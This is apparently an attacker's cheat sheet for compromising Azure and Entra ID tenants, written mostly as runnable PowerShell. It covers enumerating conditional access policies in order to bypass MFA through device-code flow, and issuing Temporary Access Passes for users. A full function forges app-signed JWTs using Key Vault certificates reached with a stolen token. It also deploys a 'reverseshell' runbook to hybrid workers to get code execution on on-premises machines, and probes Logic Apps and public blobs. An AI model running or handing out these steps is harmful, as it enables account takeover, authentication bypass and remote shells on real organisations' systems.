# Get role RoleDefinition
# Gets more info / Description about the role
 
 Get-AzRoleDefinition -Name "Role Display Name"

# List Registered owners of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
 
# Get all Azure joined and registered devices
Get-AzureADDevice -All $true | fl *
 
# Get the device configuration object (note the RegistrationQuota in the output)
Get-AzureADDeviceConfiguration | fl *
 
# List Registered users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
 
# List devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
 
# List devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
 
# List devices managed using Intune
Get-AzureADUserOwnedDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
 
# List devices that are compliant
Get-AzureADDevice -All $true | ? { $_.IsCompliant -eq "True" }

# Enumerate CAP
# MG Module
Get-MgIdentityConditionalAccessPolicy | fl
 
# Get all attributes of a CAP
# We should be looking for excluded applications / Groups / ... etc so we can bypass the CAP
Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CAP_id |ConvertTo-Json
 
# If we have execluded applications (portal,devops,.. etc) we can use devicecode authorization flow to bypass the OTP
 
# U can change the $clientid based on the execluded applications
$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223"
$Scope = "https://management.azure.com/.default"
$body = @{
    "client_id" = $ClientID
    "scope" = $Scope 
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body
$authResponse
 
# Now get a token using that device Code
$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue

# Check if TAP is enabled
(Get-MgPolicyAuthenticationMethodPolicy).AuthenticationMethodConfigurations
 
# Get more info about TAP
(Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId TemporaryAccessPass).AdditionalProperties
 
# What users/groups can use TAP
(Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId TemporaryAccessPass).AdditionalProperties.includeTargets
 
# Request a TAP for a user
$properties = @{}
$properties.isUsableOnce = $True
$properties.startDateTime = (Get-Date)
$propertiesJSON = $properties | ConvertTo-Json
New-MgUserAuthenticationTemporaryAccessPassMethod -UserId username@domain.onmicrosoft.com -BodyParameter $propertiesJSON | fl

function KeyVaultToSignedJWT {
    param(
        [Parameter(Mandatory=$true)]
        [string]$AccessToken,
 
        [Parameter(Mandatory=$true)]
        [string]$VaultName,
 
        [Parameter(Mandatory=$true)]
        [string]$AppId,
 
        [string]$Audience = 'https://login.microsoftonline.com/common/oauth2/token',
 
        # Optional filter to pick a specific certificate by name substring
        [string]$CertificateNameContains,
 
        # API versions (override only if needed)
        [string]$CertificatesApiVersion = '7.4',
        [string]$SignApiVersion = '7.3'
    )
 
    function Convert-ToBase64Url([byte[]]$bytes) {
        $b64 = [Convert]::ToBase64String($bytes)
        $b64 = $b64.TrimEnd('=').Replace('+','-').Replace('/','_')
        return $b64
    }
 
    $headers = @{ Authorization = "Bearer $AccessToken" }
    $baseUri = "https://$VaultName.vault.azure.net"
 
    # 1) List certificates (with paging)
    $listUri  = "$baseUri/certificates?api-version=$CertificatesApiVersion"
    $selected = $null
 
    while ($listUri -and -not $selected) {
        $listResponse = Invoke-RestMethod -Method GET -Uri $listUri -Headers $headers -ContentType 'application/json'
        $items = $listResponse.value
 
        if ($CertificateNameContains) {
            $items = $items | Where-Object { $_.id -like "*$CertificateNameContains*" }
        }
 
        $selected = $items | Select-Object -First 1
 
        if (-not $selected -and $listResponse.nextLink) {
            $listUri = $listResponse.nextLink
        } else {
            $listUri = $null
        }
    }
 
    if (-not $selected) {
        if ($CertificateNameContains) {
            throw "No certificates found in vault '$VaultName' that match '$CertificateNameContains'."
        } else {
            throw "No certificates found in vault '$VaultName'."
        }
    }
 
    # Extract certificate object name from the id segment after 'certificates/'
    $segments = ([Uri]$selected.id).Segments | ForEach-Object { $_.TrimEnd('/') } | Where-Object { $_ }
    $certIndex = [Array]::IndexOf($segments, 'certificates')
    $certName  = if ($certIndex -ge 0 -and $segments.Length -gt ($certIndex + 1)) { $segments[$certIndex + 1] } else { $null }
 
    # 2) Fetch certificate details to obtain 'kid'
    $detailsUri  = "$($selected.id)?api-version=$CertificatesApiVersion"
    $certDetails = Invoke-RestMethod -Method GET -Uri $detailsUri -Headers $headers -ContentType 'application/json'
 
    if (-not $certDetails.kid) {
        throw "Certificate '$certName' does not contain a 'kid'. Ensure the certificate has an associated Key Vault key."
    }
 
    # 3) Build JWT (valid for 2 minutes)
    $epochStart = (Get-Date "1970-01-01T00:00:00Z").ToUniversalTime()
    $now        = (Get-Date).ToUniversalTime()
    $exp        = [math]::Round((New-TimeSpan -Start $epochStart -End $now.AddMinutes(2)).TotalSeconds, 0)
    $nbf        = [math]::Round((New-TimeSpan -Start $epochStart -End $now).TotalSeconds, 0)
 
    $jwtHeader = @{
        alg = 'RS256'
        typ = 'JWT'
        x5t = $selected.x5t
    }
 
    $jwtPayload = @{
        aud = $Audience
        exp = $exp
        iss = $AppId
        jti = [guid]::NewGuid().ToString()
        nbf = $nbf
        sub = $AppId
    }
 
    $headerJson  = ($jwtHeader  | ConvertTo-Json -Compress)
    $payloadJson = ($jwtPayload | ConvertTo-Json -Compress)
    $b64uHeader  = Convert-ToBase64Url ([System.Text.Encoding]::UTF8.GetBytes($headerJson))
    $b64uPayload = Convert-ToBase64Url ([System.Text.Encoding]::UTF8.GetBytes($payloadJson))
 
    $unsignedJwt      = "$b64uHeader.$b64uPayload"
    $unsignedJwtBytes = [System.Text.Encoding]::UTF8.GetBytes($unsignedJwt)
 
    # SHA256 hash → base64url
    $hasher        = [System.Security.Cryptography.HashAlgorithm]::Create('sha256')
    $jwtSha256Hash = $hasher.ComputeHash($unsignedJwtBytes)
    $jwtDigestB64u = Convert-ToBase64Url $jwtSha256Hash
 
    # 4) Sign using Key Vault key (kid)
    $signUri  = "$($certDetails.kid)/sign?api-version=$SignApiVersion"
    $signBody = @{
        alg   = 'RS256'
        value = $jwtDigestB64u
    } | ConvertTo-Json -Compress
 
    $signHeaders = @{
        Authorization = "Bearer $AccessToken"
        'Content-Type' = 'application/json'
    }
 
    $signResponse = Invoke-RestMethod -Uri $signUri -Method POST -Headers $signHeaders -Body $signBody -ContentType 'application/json'
    $signatureB64 = $signResponse.value
    $signatureB64u = $signatureB64.Replace('+','-').Replace('/','_').TrimEnd('=')
 
    $signedJwt = "$unsignedJwt.$signatureB64u"
 
    # Output composite result
    [pscustomobject]@{
        SignedJwt          = $signedJwt
        CertificateName    = $certName
        X5t                = $selected.x5t
        Kid                = $certDetails.kid
        CertificateDetails = $certDetails
    }
}   

$signed_jwt = KeyVaultToSignedJWT -AccessToken $keyvault_access_token -VaultName 'appvault_name' -AppId 'f23a808b-6a01-4fb2-bfd9-bdb3e8390421'

# Microburst
# Look for storage blobs configured with public access
Invoke-EnumerateAzureBlobs -base mycorp
 
# We can access the files using their URL/file_name
# We can use SAS URLs with Storage Explorer

# List automation accounts
 
az extension add --upgrade -n automation
az automation account list
 
# Check if the automation account is using a hybrid worker group. Will allow us to execute commands on on-prem machine
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Engineering
 
# Import a powershell script into the runbook
 
Import-AzAutomationRunbook -Name reverseshell -Path .\reverse-shell.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Type PowerShell -Force -Verbose
 
# Publish the runbook
 
Publish-AzAutomationRunbook -RunbookName reverseshell -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
 
# Start the runbook 
 
Start-AzAutomationRunbook -RunbookName reverseshell -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose

# Get the logicapp resourceID
get-azresource
 
# Get an access token
$workflow_access_token = (get-azaccesstoken).token
 
# # List permissions on a logicapp workflow
$URI = "https://management.azure.com/$resource_id/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
$RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{
    'Authorization' = "Bearer $accesstoken"
}
}
$Permissions = (Invoke-RestMethod @RequestParams).value
$Permissions.actions
 
# Check for logic app HTTP trigger
Get-AzLogicAppTriggerCallbackUrl -TriggerName manual -Name $logic_app_name -ResourceGroupName $res_group_name 
 
# Read the logic app definition
(Get-AzLogicApp -Name $logicapp_name).Definition